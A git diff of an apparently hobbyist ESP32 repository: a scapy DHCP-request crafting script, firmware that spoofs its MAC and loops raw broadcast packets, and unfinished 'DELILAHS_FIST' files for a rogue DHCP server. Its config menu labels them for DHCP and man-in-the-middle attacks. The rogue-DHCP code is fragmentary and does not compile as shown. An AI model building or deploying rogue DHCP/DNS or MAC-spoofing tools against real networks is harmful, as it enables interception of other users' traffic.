+CONFIG_ESP_WIFI_SOFTAP_SUPPORT=n +CONFIG_LWIP_IPV6=n diff --git a/scapy/dhcp_explore.py b/scapy/dhcp_explore.py new file mode 100644 index 0000000..984d027 --- /dev/null +++ b/scapy/dhcp_explore.py @@ -0,0 +1,95 @@ +from scapy.all import * +import binascii +import random + +iface = "wlan1" + +routerMAC = "d4:6c:6d:3e:a4:13" +routerIP = "10.0.0.1" +requestedIP = "10.0.0.200" + +zeroIP = "0.0.0.0" +fullIP = "255.255.255.255" +broadcastMAC = "ff:ff:ff:ff:ff:ff" +ifaceMAC = get_if_hwaddr(iface) +myMAC = '54:3f:19:c9:38:6d' +serverID = "10.0.0.1" + +def mac_to_bytes(mac_addr: str) -> bytes: + return binascii.unhexlify(mac_addr.replace(':', '')) +# macParts = mac_addr.split(':') +# i = 0 +# intParts = [] +# while i < len(macParts): +# intParts[i] = macParts[i] +# i += 1 +# +# return ''.join('{:02X}'.format(a) for a in intParts) +# for macPart in macParts: +# part = int(macPart) +# hex = '{:02X}'.format(part) + + +sourceMAC = mac_to_bytes(myMAC) + +addr1 = '01:01:01:01:01:01' +addr2 = '02:02:02:02:02:02' +src = '3.3.3.3' +dst = '4.4.4.4' +chaddr = "\x05\x05\x05\x05\x05\x05"; +requestedIP = '6.6.6.6' +server_id = '7.7.7.7' + +explori = RadioTap() \ + /Dot11(type=2, + subtype=0, + addr1=addr1, + addr2=addr2, + addr3=addr1) \ + /IP(src=src, dst=dst) \ + /UDP(dport=68, sport=67) \ + /BOOTP(chaddr=chaddr, xid=RandInt()) \ + /DHCP(options=[ + ("message-type", "request"), + ("requested_addr", requestedIP), + ("server_id", server_id), + "end"]) + +requestedIP = '10.0.0.253' + +# dhcpRequest = Dot11( +# addr1=broadcastMAC, +# addr2=ifaceMAC, +# addr3=broadcastMAC) +dhcpRequest = Ether(src=ifaceMAC, dst=broadcastMAC) +dhcpRequest /= IP(src=zeroIP, dst=fullIP) +dhcpRequest /= UDP(dport=67, sport=68) +dhcpRequest /= BOOTP( + chaddr=mac_to_bytes(ifaceMAC), xid=RandInt() +) +dhcpRequest /= DHCP( + options=[ + ("message-type", "request"), + ("requested_addr", requestedIP), + ("server_id", serverID), + "end", + ] +) + +r = raw(dhcpRequest) +b = bytes(dhcpRequest) +print(f"Settings:\n\tSrc MAC: {ifaceMAC}\n\tDst MAC: {broadcastMAC}\n\tSrc IP: {zeroIP}\n\tDst IP: {fullIP}\n\tRequested IP: {requestedIP}\n\tServer ID: {serverID}\n") +print("Bytes:") +print(b) +print("\nHexdump:") +hexdump(b) +print("\nls:") +ls(dhcpRequest) + +ans,unans = sr(dhcpRequest) +ans.summary() + +# ls(explori) +# sendp(dhcpRequest, iface=iface, loop=True) + # /BOOTP(chaddr=RandString(12, b"0123456789abcdef"), xid=RandInt()) \ +# /BOOTP(sourceMAC, xid=random.randint(1, 2**32-1)) \ \ No newline at end of file diff --git a/socket-play/.gitignore b/socket-play/.gitignore new file mode 100644 index 0000000..1c64134 --- /dev/null +++ b/socket-play/.gitignore @@ -0,0 +1,5 @@ +build +.vscode +*.old +sdkconfig +*.lock diff --git a/socket-play/CMakeLists.txt b/socket-play/CMakeLists.txt new file mode 100644 index 0000000..bd3d0cb --- /dev/null +++ b/socket-play/CMakeLists.txt @@ -0,0 +1,8 @@ +# The following five lines of boilerplate have to be in your project's +# CMakeLists in this exact order for cmake to work correctly +cmake_minimum_required(VERSION 3.16) + +set(COMPONENTS main esp_netif lwip protocol_examples_tapif_io startup esp_hw_support esp_system nvs_flash) + +include($ENV{IDF_PATH}/tools/cmake/project.cmake) +project(socket-play) diff --git a/socket-play/main/CMakeLists.txt b/socket-play/main/CMakeLists.txt new file mode 100644 index 0000000..da95f03 --- /dev/null +++ b/socket-play/main/CMakeLists.txt @@ -0,0 +1,2 @@ +idf_component_register(SRCS "socket-play.c" + INCLUDE_DIRS ".") diff --git a/socket-play/main/idf_component.yml b/socket-play/main/idf_component.yml new file mode 100644 index 0000000..f462996 --- /dev/null +++ b/socket-play/main/idf_component.yml @@ -0,0 +1,9 @@ +dependencies: + protocol_examples_tapif_io: + path: ${IDF_PATH}/examples/common_components/protocol_examples_tapif_io + rules: + - if: "target in [linux]" + protocol_examples_common: + path: ${IDF_PATH}/examples/common_components/protocol_examples_common + rules: + - if: "target not in [linux]" \ No newline at end of file diff --git a/socket-play/main/notes.txt b/socket-play/main/notes.txt new file mode 100644 index 0000000..9fa01db --- /dev/null +++ b/socket-play/main/notes.txt @@ -0,0 +1,112 @@ +https://pubs.opengroup.org/onlinepubs/007908799/xns/socket.html + +https://docs.espressif.com/projects/esp-idf/en/stable/esp32/api-guides/lwip.html#bsd-sockets-api + +setsockopt() + SO_REUSEADDR + SO_BROADCAST + SO_NO_CHECK ? + + +/* Socket protocol types (TCP/UDP/RAW) */ +SOCK_RAW 3 + +struct raw_pcb * raw_new (u8_t proto); +err_t raw_connect (struct raw_pcb *pcb, const ip_addr_t *ipaddr); +void raw_disconnect (struct raw_pcb *pcb); +err_t raw_bind (struct raw_pcb *pcb, const ip_addr_t *ipaddr); +err_t raw_sendto (struct raw_pcb *pcb, struct pbuf *p, const ip_addr_t *ipaddr); +err_t raw_send (struct raw_pcb *pcb, struct pbuf *p);\ +void raw_recv (struct raw_pcb *pcb, raw_recv_fn recv, void *recv_arg); + + + +int addr_family = AF_INET; +int ip_protocol = 0; + +https://lwip.fandom.com/wiki/Netconn_send + + + + +// socket(addr type (v6/v4) (AF_INET/AF_INET6), +// proto type (SOCK_STREAM (tcp)/SOCK_DGRAM (udp)/SOCK_RAW (raw)), +// ip protocol (IPPROTO_IP/IPPROTO_IPV6)); + +#include +#include +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "freertos/event_groups.h" +#include "esp_system.h" +#include "esp_event.h" +#include "esp_log.h" +#include "nvs_flash.h" +#include "esp_netif.h" +#include "protocol_examples_common.h" + +#include "lwip/err.h" +#include "lwip/sockets.h" +#include "lwip/sys.h" +#include + +#define HOST_IP_ADDR "10.0.0.255" +#define PORT CONFIG_EXAMPLE_PORT 4444 // placeholder + +int err; +int errno; +int sockfd; + +static const char *payload = "Message from ESP32 "; +static const char* TAG = "PrincessPiError"; + +struct sockaddr_in dest_addr; +dest_addr.sin_addr.s_addr = inet_addr(HOST_IP_ADDR); +dest_addr.sin_family = AF_INET; +dest_addr.sin_port = htons(PORT); +int opt = 1; + +// https://pubs.opengroup.org/onlinepubs/007908799/xns/socket.html +// https://docs.espressif.com/projects/esp-idf/en/stable/esp32/api-guides/lwip.html#bsd-sockets-api +if(sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_IP) < 0) { + ESP_LOGE(TAG, "%d", errno); +} + +setsockopt(sockfd, SOL_SOCKET, SO_BROADCAST, &opt, sizeof(opt)); +setsockopt(sockfd, SOL_SOCKET, SO_ERROR, &err, &optlen); + +if(err < 0) { + ESP_LOGE(TAG, "%d", err); +} + +// sendto(sockefd, payloadf, strlen(payload), 0, IP_ADDR_BROADCAST, sizeof(IP_ADDR_BROADCAST)); +sendto(sockfd, payload, strlen(payload), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); + +// setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); +/* + +#define TNetConn struct netconn * +#define TNetBuf struct netbuf * + +TNetConn netConn = netconn_new(NETCONN_RAW); + +struct TIpAddr xIp; +xIp.addr = 10.0.0.1; + +TNetBuf xNetBuf = netbuf_new(); +xBuf = netbuf_alloc(xNetBuf, 0x100); +netconn_sendto(netConn, xBuf, IP_ADDR_BROADCAST, 4444); + +//Pointer xBuf = mem_malloc(0x100); // Pointer type? huh I'm too high for this + +// netbuf_alloc (newNetBuf, 0x100); +// memset(xBuf, 0xAA, 0x100); +// xBuf = "\x00\x00\xFF" // raw payload. need memcpy? + + +//netbuf_ref() +// netconn_sendto(connection, payload, dst ip, port) +// netconn_sendto(newNetconn, xBuf, xIP, ); +// netconn_sendto(newNetconn, &newNetbuff); + +*/ \ No newline at end of file diff --git a/socket-play/main/socket-play.c b/socket-play/main/socket-play.c new file mode 100644 index 0000000..1baa446 --- /dev/null +++ b/socket-play/main/socket-play.c @@ -0,0 +1,96 @@ +#include +#include +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "freertos/event_groups.h" +#include "esp_system.h" +#include "esp_event.h" +#include "esp_log.h" +#include "nvs_flash.h" +#include "esp_netif.h" +#include "protocol_examples_common.h" + +#include "lwip/err.h" +#include "lwip/sockets.h" +#include "lwip/sys.h" +#include + +#define DEST_IP_ADDR "10.0.0.255" +// #define PORT CONFIG_EXAMPLE_PORT 4444 // placeholder + +int err; +int errno; +int sockfd; +float loopSeconds = 0.25; +int timeoutSecs = 10; + +static const char *payload = "LETS FUCKING GOOOOO LFGGGGGGGGG"; +static const char* TAGERR = "PrincessPiError"; +static const char* TAGSUCC = "PrincessPiSuccess"; + +static void raw_send_task(void *pvParameters) { + // configure the sockaddr +/* + struct sockaddr_in dest_addr; + dest_addr.sin_addr.s_addr = inet_addr(HOST_IP_ADDR); + dest_addr.sin_family = AF_INET; + dest_addr.sin_port = htons(PORT); +*/ + struct sockaddr_in dest_addr; + dest_addr.sin_addr.s_addr = inet_addr(DEST_IP_ADDR); + dest_addr.sin_family = AF_INET; + //dest_addr.sin_port = htons(PORT); + + if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) { + ESP_LOGE(TAGERR, "Error creating socket: %d", errno); + } else { + ESP_LOGI(TAGSUCC, "Socket created"); + } + + // option lengths + int opt = 1; + int optlen = sizeof(int); + + // timeouts + struct timeval timeout; + timeout.tv_sec = timeoutSecs; + timeout.tv_usec = 0; + + // options + setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof timeout); + setsockopt(sockfd, SOL_SOCKET, SO_BROADCAST, &opt, sizeof(opt)); + setsockopt(sockfd, SOL_SOCKET, SO_ERROR, &err, optlen); + + if(err < 0) { + ESP_LOGE(TAGERR, "Error setting socket options: %d", err); + } else { + ESP_LOGI(TAGSUCC, "Socket options set"); + } + + while(1) { + // sendto(sockefd, payloadf, strlen(payload), 0, IP_ADDR_BROADCAST, sizeof(IP_ADDR_BROADCAST)); + int sendErr = sendto(sockfd, payload, strlen(payload), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); + + if(sendErr < 0) { + ESP_LOGE(TAGERR, "Error sending: %d", err); + } else { + ESP_LOGI(TAGSUCC, "Sent!\n\tLooping every %f seconds\n\tDst: %s\n\tPayload: %s\n\tTimeout: %d\n", loopSeconds, DEST_IP_ADDR, payload, timeoutSecs); + } + + // delay on loop + vTaskDelay((loopSeconds*1000) / portTICK_PERIOD_MS); + } +} + +void app_main(void) { + // init shit + ESP_ERROR_CHECK(nvs_flash_init()); + ESP_ERROR_CHECK(esp_netif_init()); + ESP_ERROR_CHECK(esp_event_loop_create_default()); + + // wifi connect + ESP_ERROR_CHECK(example_connect()); + + // fork raw_send_task to FreeRTOS task + xTaskCreate(raw_send_task, "raw_send_task", 4096, NULL, 5, NULL); +} \ No newline at end of file diff --git a/wifi-esp-freertos/.gitignore b/wifi-esp-freertos/.gitignore new file mode 100644 index 0000000..f817d4d --- /dev/null +++ b/wifi-esp-freertos/.gitignore @@ -0,0 +1,8 @@ +build +*.old +old +*.bak +*~ +sdkconfig +*.lock +.vscode \ No newline at end of file diff --git a/wifi-esp-freertos/CMakeLists.txt b/wifi-esp-freertos/CMakeLists.txt new file mode 100644 index 0000000..3d4f5df --- /dev/null +++ b/wifi-esp-freertos/CMakeLists.txt @@ -0,0 +1,8 @@ +# The following five lines of boilerplate have to be in your project's +# CMakeLists in this exact order for cmake to work correctly +cmake_minimum_required(VERSION 3.16) + +set(COMPONENTS main esp_netif lwip startup esp_hw_support esp_system nvs_flash esp_wifi) + +include($ENV{IDF_PATH}/tools/cmake/project.cmake) +project(wifi-esp-freertos) diff --git a/wifi-esp-freertos/DELILAHS_FIST-netif.c b/wifi-esp-freertos/DELILAHS_FIST-netif.c new file mode 100644 index 0000000..11752bc --- /dev/null +++ b/wifi-esp-freertos/DELILAHS_FIST-netif.c @@ -0,0 +1,40 @@ +#include "esp_netif.h" +#include "esp_netif_types.h" + +#define DHCP_IP CONFIG_DHCP_IP +#define DNS_SERVER CONFIG_DNS_SERVER + +// decode DHCP server IP +esp_ip4_addr_t dhcpIP; +esp_netif_str_to_ip4(DHCP_IP, dhcpIP); + +// decode DNS server IP +esp_ip4_addr_t dnsIP; +esp_netif_str_to_ip4(DNS_SERVER, dnsIP); + +struct esp_netif_dns_info_t dns_ip_wraped = {dnsIP}; // wtf is this shit frong +ESP_ERROR_CHECK(esp_netif_dhcps_start(netifWifi)); +ESP_ERROR_CHECK(esp_netif_set_dns_info(netifWifi, ESP_NETIF_DNS_MAIN, dns_ip_wraped)); + +/* +// new dhcp server lfggggggg +dhcps_t dhcps = dhcps_new(); + +// set some silly optionsssss +u8_t option_id = ; + +ESP_ERROR_CHECK(dhcps_dns_setserver(*dhcps, dnsIP)); +ESP_ERROR_CHECK(dhcps_set_option_info(*dhcps, + +// run the fucka +ESP_ERROR_CHECK(dhcps_start(*dhcps, netifWifi, dhcpIP)); + + + + +// get DHCP option +// u8_t option_id_ret; +// u32_t option_len_ret; +// dhcps_option_info(*dhcps, option_id_ret, option_len_ret); + +*/ \ No newline at end of file diff --git a/wifi-esp-freertos/main/CMakeLists.txt b/wifi-esp-freertos/main/CMakeLists.txt new file mode 100644 index 0000000..498331b --- /dev/null +++ b/wifi-esp-freertos/main/CMakeLists.txt @@ -0,0 +1,3 @@ +idf_component_register(SRCS "DELILAHS_FIST-lwip.c" "wifi-esp-freertos.c" + INCLUDE_DIRS ".") +# comment \ No newline at end of file diff --git a/wifi-esp-freertos/main/DELILAHS_FIST-lwip.c b/wifi-esp-freertos/main/DELILAHS_FIST-lwip.c new file mode 100644 index 0000000..12d8857 --- /dev/null +++ b/wifi-esp-freertos/main/DELILAHS_FIST-lwip.c @@ -0,0 +1,29 @@ +#define DHCP_IP CONFIG_DHCP_IP +#define DNS_SERVER CONFIG_DNS_SERVER + +// decode DHCP server IP +esp_ip4_addr_t dhcpIP; +esp_netif_str_to_ip4(DHCP_IP, dhcpIP); + +// decode DNS server IP +esp_ip4_addr_t dnsIP; +esp_netif_str_to_ip4(DNS_SERVER, dnsIP); + +// new dhcp server lfggggggg +dhcps_t dhcps = dhcps_new(); + +// set some silly optionsssss +ESP_ERROR_CHECK(dhcps_dns_setserver(*dhcps, dnsIP)); + + +// run the fucka +ESP_ERROR_CHECK(dhcps_start(*dhcps, netifWifi, dhcpIP)); + + + +/* +// get DHCP option +u8_t option_id_ret; +u32_t option_len_ret; +dhcps_option_info(*dhcps, option_id_ret, option_len_ret); +*/ \ No newline at end of file diff --git a/wifi-esp-freertos/main/Kconfig.projbuild b/wifi-esp-freertos/main/Kconfig.projbuild new file mode 100644 index 0000000..baf78da --- /dev/null +++ b/wifi-esp-freertos/main/Kconfig.projbuild @@ -0,0 +1,103 @@ +menu "WIFI Configuration" + + config WIFI_SSID + string "WiFi SSID" + default "myssid" + help + SSID (network name) for the example to connect to. + + config WIFI_PSK + string "WiFi Password" + default "mypassword" + help + WiFi password (WPA or WPA2) for the example to use. + + config HOSTNAME + string "Hostname" + default "PrincessPiESP32" + help + Hostname lol + + config DEST_IP_ADDR + string "Destination IPv4 Address" + default "10.0.0.255" + help + dst addr, ipv4, string, lfgggg + + config DEST_PORT + int "Destination Port" + default 4444 + help + dst port, integar, 0-65535 + + choice ESP_WIFI_SAE_MODE + prompt "WPA3 SAE mode selection" + default ESP_WPA3_SAE_PWE_BOTH + help + Select mode for SAE as Hunt and Peck, H2E or both. + config ESP_WPA3_SAE_PWE_HUNT_AND_PECK + bool "HUNT AND PECK" + config ESP_WPA3_SAE_PWE_HASH_TO_ELEMENT + bool "H2E" + config ESP_WPA3_SAE_PWE_BOTH + bool "BOTH" + endchoice + + config ESP_WIFI_PW_ID + string "PASSWORD IDENTIFIER" + depends on ESP_WPA3_SAE_PWE_HASH_TO_ELEMENT|| ESP_WPA3_SAE_PWE_BOTH + default "" + help + password identifier for SAE H2E + + config ESP_MAXIMUM_RETRY + int "Maximum retry" + default 5 + help + Set the Maximum retry to avoid station reconnecting to the AP unlimited when the AP is really inexistent. + + choice ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD + prompt "WiFi Scan auth mode threshold" + default ESP_WIFI_AUTH_WPA2_PSK + help + The weakest authmode to accept in the scan mode. + This value defaults to ESP_WIFI_AUTH_WPA2_PSK incase password is present and ESP_WIFI_AUTH_OPEN is used. + Please select ESP_WIFI_AUTH_WEP/ESP_WIFI_AUTH_WPA_PSK incase AP is operating in WEP/WPA mode. + + config ESP_WIFI_AUTH_OPEN + bool "OPEN" + config ESP_WIFI_AUTH_WEP + bool "WEP" + config ESP_WIFI_AUTH_WPA_PSK + bool "WPA PSK" + config ESP_WIFI_AUTH_WPA2_PSK + bool "WPA2 PSK" + config ESP_WIFI_AUTH_WPA_WPA2_PSK + bool "WPA/WPA2 PSK" + config ESP_WIFI_AUTH_WPA3_PSK + bool "WPA3 PSK" + config ESP_WIFI_AUTH_WPA2_WPA3_PSK + bool "WPA2/WPA3 PSK" + config ESP_WIFI_AUTH_WAPI_PSK + bool "WAPI PSK" + endchoice + +endmenu + +menu "DHCP Attacks Configuration" + + config DHCP_IP + string "DHCP Server Address" + default "192.168.1.1" + help + ASCII string notation of DHCP server's IPv4 address. + Used in DELILAHS_FIST attacks and MitM attacks. + + config DNS_SERVER + string "DNS Server Address" + default "1.0.0.1" + help + ASCII string notation of DHCP server's DNS server. + Used in DELILAHS_FIST attacks and MitM attacks. + +endmenu \ No newline at end of file diff --git a/wifi-esp-freertos/main/wifi-esp-freertos.c b/wifi-esp-freertos/main/wifi-esp-freertos.c new file mode 100644 index 0000000..2e3c90a --- /dev/null +++ b/wifi-esp-freertos/main/wifi-esp-freertos.c @@ -0,0 +1,214 @@ +#include +#include +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "freertos/event_groups.h" +#include "esp_system.h" +#include "esp_wifi.h" +#include "esp_event.h" +#include "esp_log.h" +#include "nvs_flash.h" + +#include "esp_netif.h" + +#include "lwip/sys.h" +#include "lwip/sockets.h" +#include "lwip/err.h" + +#include "wifi-esp-freertos.h" + +#define WIFI_SSID CONFIG_WIFI_SSID +#define WIFI_PSK CONFIG_WIFI_PSK +#define HOSTNAME CONFIG_HOSTNAME +#define DEST_IP_ADDR CONFIG_DEST_IP_ADDR +#define DEST_PORT CONFIG_DEST_PORT + +// Spoofed mac +uint8_t mac[6] = {0x01,0x02,0x03,0x04,0x05,0x06}; + +// Time in seconds to loop raw_send_task +float loopSeconds = 1; + +// Network timeout in seconds +int timeoutSecs = 10; + +// packet contents +static const char *payload = "LETS FUCKING GOOOOO LFGGGGGGGGG"; + +// Tag for logging +static const char *TAGSUCC = "GreatSucc:"; +static const char *TAGFAIL = "EPIC FAIL YOU SUCK:"; + +// wifi event group for freertos +static EventGroupHandle_t s_wifi_event_group; + +static int s_retry_num = 0; +esp_netif_t *netifWifi; +int err; +int errno; +int sockfd; + +// ip info after connecting to AP +char str_ipv4[16]; // local ip os esp +char str_ipnm[16]; // netmask +char str_ipgw[16]; // gateway + +static void raw_send_task(void *pvParameters) { + // configure the sockaddr + struct sockaddr_in dest_addr; + dest_addr.sin_addr.s_addr = inet_addr(DEST_IP_ADDR); + dest_addr.sin_family = AF_INET; + + if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) { + ESP_LOGE(TAGFAIL, "Error creating socket: %d", errno); + } else { + ESP_LOGI(TAGSUCC, "Socket created"); + } + + // option lengths + int opt = 1; + int optlen = sizeof(int); + + // timeouts + struct timeval timeout; + timeout.tv_sec = timeoutSecs; + timeout.tv_usec = 0; + + // options + setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof timeout); + setsockopt(sockfd, SOL_SOCKET, SO_BROADCAST, &opt, sizeof(opt)); + setsockopt(sockfd, SOL_SOCKET, SO_ERROR, &err, optlen); + + if(err < 0) { + ESP_LOGE(TAGFAIL, "Error setting socket options: %d", err); + } else { + ESP_LOGI(TAGSUCC, "Socket options set"); + } + + while(1) { + int sendErr = sendto(sockfd, payload, strlen(payload), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); + + if(sendErr < 0) { + ESP_LOGE(TAGFAIL, "Error sending: %d", err); + } else { + ESP_LOGI(TAGSUCC, "Sent!\n\tLooping every %f seconds\n\tDst: %s\n\tPayload: %s\n\tTimeout: %d\n", loopSeconds, DEST_IP_ADDR, payload, timeoutSecs); + } + + // delay on loop + vTaskDelay((loopSeconds*1000) / portTICK_PERIOD_MS); + } +} + +static void event_handler(void* arg, esp_event_base_t event_base, + int32_t event_id, void* event_data) +{ + if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_START) { + esp_wifi_connect(); + } else if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_DISCONNECTED) { + if (s_retry_num < ESP_MAXIMUM_RETRY) { + esp_wifi_connect(); + s_retry_num++; + ESP_LOGI(TAGSUCC, "Retrying to connect to the AP"); + } else { + xEventGroupSetBits(s_wifi_event_group, WIFI_FAIL_BIT); + } + ESP_LOGE(TAGFAIL,"Failed to connect to AP"); + } else if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) { + ip_event_got_ip_t* event = (ip_event_got_ip_t*) event_data; + esp_ip4addr_ntoa(&event->ip_info.ip, str_ipv4, IP4ADDR_STRLEN_MAX); + esp_ip4addr_ntoa(&event->ip_info.netmask, str_ipnm, IP4ADDR_STRLEN_MAX); + esp_ip4addr_ntoa(&event->ip_info.gw, str_ipgw, IP4ADDR_STRLEN_MAX); + + ESP_LOGI(TAGSUCC, "Connected!\n\tIP: %s\n\tNetmask: %s\n\tGateway: %s\n\tSSID: %s\n\tMode: ESP_WIFI_MODE_STA\n\tAuth Threshold: %d\n\tMAC Address: %02x:%02x:%02x:%02x:%02x:%02x\n\tHostname: %s", + str_ipv4, + str_ipnm, + str_ipgw, + WIFI_SSID, + ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD, + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], + HOSTNAME); + + s_retry_num = 0; + xEventGroupSetBits(s_wifi_event_group, WIFI_CONNECTED_BIT); + } +} + +void wifi_init_sta(void) +{ + s_wifi_event_group = xEventGroupCreate(); + + ESP_ERROR_CHECK(esp_netif_init()); + + ESP_ERROR_CHECK(esp_event_loop_create_default()); + netifWifi = esp_netif_create_default_wifi_sta(); + + ESP_ERROR_CHECK(esp_netif_set_mac(netifWifi, mac)); + ESP_ERROR_CHECK(esp_netif_set_hostname(netifWifi, HOSTNAME)); + + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + ESP_ERROR_CHECK(esp_wifi_init(&cfg)); + + esp_event_handler_instance_t instance_any_id; + esp_event_handler_instance_t instance_got_ip; + ESP_ERROR_CHECK(esp_event_handler_instance_register(WIFI_EVENT, + ESP_EVENT_ANY_ID, + &event_handler, + NULL, + &instance_any_id)); + ESP_ERROR_CHECK(esp_event_handler_instance_register(IP_EVENT, + IP_EVENT_STA_GOT_IP, + &event_handler, + NULL, + &instance_got_ip)); + + wifi_config_t wifi_config = { + .sta = { + .ssid = WIFI_SSID, + .password = WIFI_PSK, + .threshold.authmode = ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD, + .sae_pwe_h2e = ESP_WIFI_SAE_MODE, + .sae_h2e_identifier = H2E_IDENTIFIER, + }, + }; + ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_STA)); + ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_STA, &wifi_config)); + ESP_ERROR_CHECK(esp_wifi_start()); + + ESP_LOGI(TAGSUCC, "wifi_init_sta finished."); + + /* Waiting until either the connection is established (WIFI_CONNECTED_BIT) or connection failed for the maximum + * number of re-tries (WIFI_FAIL_BIT). The bits are set by event_handler() (see above) */ + EventBits_t bits = xEventGroupWaitBits(s_wifi_event_group, + WIFI_CONNECTED_BIT | WIFI_FAIL_BIT, + pdFALSE, + pdFALSE, + portMAX_DELAY); + + /* xEventGroupWaitBits() returns the bits before the call returned, hence we can test which event actually + * happened. */ + if (bits & WIFI_CONNECTED_BIT) { + ESP_LOGI(TAGSUCC, "connected to ap SSID: %s", WIFI_SSID); + // fork raw_send_task to FreeRTOS task + xTaskCreate(raw_send_task, "raw_send_task", 4096, NULL, 5, NULL); + + ESP_LOGI(TAGSUCC, "Connected to AP- Sending packets"); + } else if (bits & WIFI_FAIL_BIT) { + ESP_LOGE(TAGFAIL, "Failed to connect to SSID:%s, password:%s", WIFI_SSID, WIFI_PSK); + } else { + ESP_LOGE(TAGFAIL, "FAILURE: UNEXPECTED EVENT"); + } +} + +void app_main(void) +{ + //Initialize NVS + esp_err_t ret = nvs_flash_init(); + if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) { + ESP_ERROR_CHECK(nvs_flash_erase()); + ret = nvs_flash_init(); + } + ESP_ERROR_CHECK(ret); + + ESP_LOGI(TAGSUCC, "ESP_WIFI_MODE_STA"); + wifi_init_sta(); +} \ No newline at end of file diff --git a/wifi-esp-freertos/main/wifi-esp-freertos.h b/wifi-esp-freertos/main/wifi-esp-freertos.h new file mode 100644 index 0000000..aa1eb2d --- /dev/null +++ b/wifi-esp-freertos/main/wifi-esp-freertos.h @@ -0,0 +1,33 @@ +#define ESP_MAXIMUM_RETRY CONFIG_ESP_MAXIMUM_RETRY + +#if CONFIG_ESP_WPA3_SAE_PWE_HUNT_AND_PECK +#define ESP_WIFI_SAE_MODE WPA3_SAE_PWE_HUNT_AND_PECK +#define H2E_IDENTIFIER "" +#elif CONFIG_ESP_WPA3_SAE_PWE_HASH_TO_ELEMENT +#define ESP_WIFI_SAE_MODE WPA3_SAE_PWE_HASH_TO_ELEMENT +#define H2E_IDENTIFIER CONFIG_ESP_WIFI_PW_ID +#elif CONFIG_ESP_WPA3_SAE_PWE_BOTH +#define ESP_WIFI_SAE_MODE WPA3_SAE_PWE_BOTH +#define H2E_IDENTIFIER CONFIG_ESP_WIFI_PW_ID +#endif +#if CONFIG_ESP_WIFI_AUTH_OPEN +#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_OPEN +#elif CONFIG_ESP_WIFI_AUTH_WEP +#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WEP +#elif CONFIG_ESP_WIFI_AUTH_WPA_PSK +#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA_PSK +#elif CONFIG_ESP_WIFI_AUTH_WPA2_PSK +#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA2_PSK +#elif CONFIG_ESP_WIFI_AUTH_WPA_WPA2_PSK +#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA_WPA2_PSK +#elif CONFIG_ESP_WIFI_AUTH_WPA3_PSK +#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA3_PSK +#elif CONFIG_ESP_WIFI_AUTH_WPA2_WPA3_PSK +#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA2_WPA3_PSK +#elif CONFIG_ESP_WIFI_AUTH_WAPI_PSK +#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WAPI_PSK +#endif + +// some cozy status bits +#define WIFI_CONNECTED_BIT BIT0 +#define WIFI_FAIL_BIT BIT1 \ No newline at end of file diff --git a/wifi-esp-freertos/notes.txt b/wifi-esp-freertos/notes.txt new file mode 100644 index 0000000..10c933e --- /dev/null +++ b/wifi-esp-freertos/notes.txt @@ -0,0 +1,106 @@ +== WIFI == +https://github.com/espressif/esp-idf/tree/v5.2.3/examples/wifi/getting_started/station + + +== SOCKETS == + +https://pubs.opengroup.org/onlinepubs/007908799/xns/socket.html + +// socket functions +https://docs.espressif.com/projects/esp-idf/en/stable/esp32/api-guides/lwip.html#bsd-sockets-api + +// socket options for setsocketopt() +https://docs.espressif.com/projects/esp-idf/en/stable/esp32/api-guides/lwip.html#socket-options + +// socket error handling +https://docs.espressif.com/projects/esp-idf/en/stable/esp32/api-guides/lwip.html#socket-error-handling + // error codes + https://github.com/espressif/newlib-esp32/blob/master/newlib/libc/include/sys/errno.h + +// sockets header file +https://github.com/espressif/esp-lwip/blob/6bc36ec/src/include/lwip/sockets.h + + +socket(address_family, type, protocol) + Address Family: + AF_INET // ipv4 + AF_INET6 // ipv6 + AF_UNSPEC // unspecified? + Type: + SOCK_STREAM // tcp + SOCK_DGRAM // udp + SOCK_RAW // raw + Protocols: + IPPROTO_IP + IPPROTO_ICMP + IPPROTO_TCP + IPPROTO_UDP + IPPROTO_IPV6 + IPPROTO_ICMPV6 + IPPROTO_UDPLITE + IPPROTO_RAW + +setsockopt(socket, level) + Level: + SOL_SOCKET + SO_REUSEADDR // Allow local address reuse + SO_KEEPALIVE // keep connections alive + SO_BROADCAST // permit to send and to receive broadcast messages (see IP_SOF_BROADCAST option) + SO_DEBUG // Unimplemented: turn on debugging info recording + SO_ACCEPTCONN // socket has had listen() + SO_DONTROUTE // Unimplemented: just use interface addresses + SO_USELOOPBACK // Unimplemented: bypass hardware when possible + SO_LINGER // linger on close if data present + SO_DONTLINGER ((int)(~SO_LINGER)) // ? + SO_OOBINLINE // Unimplemented: leave received OOB data in line + SO_REUSEPORT 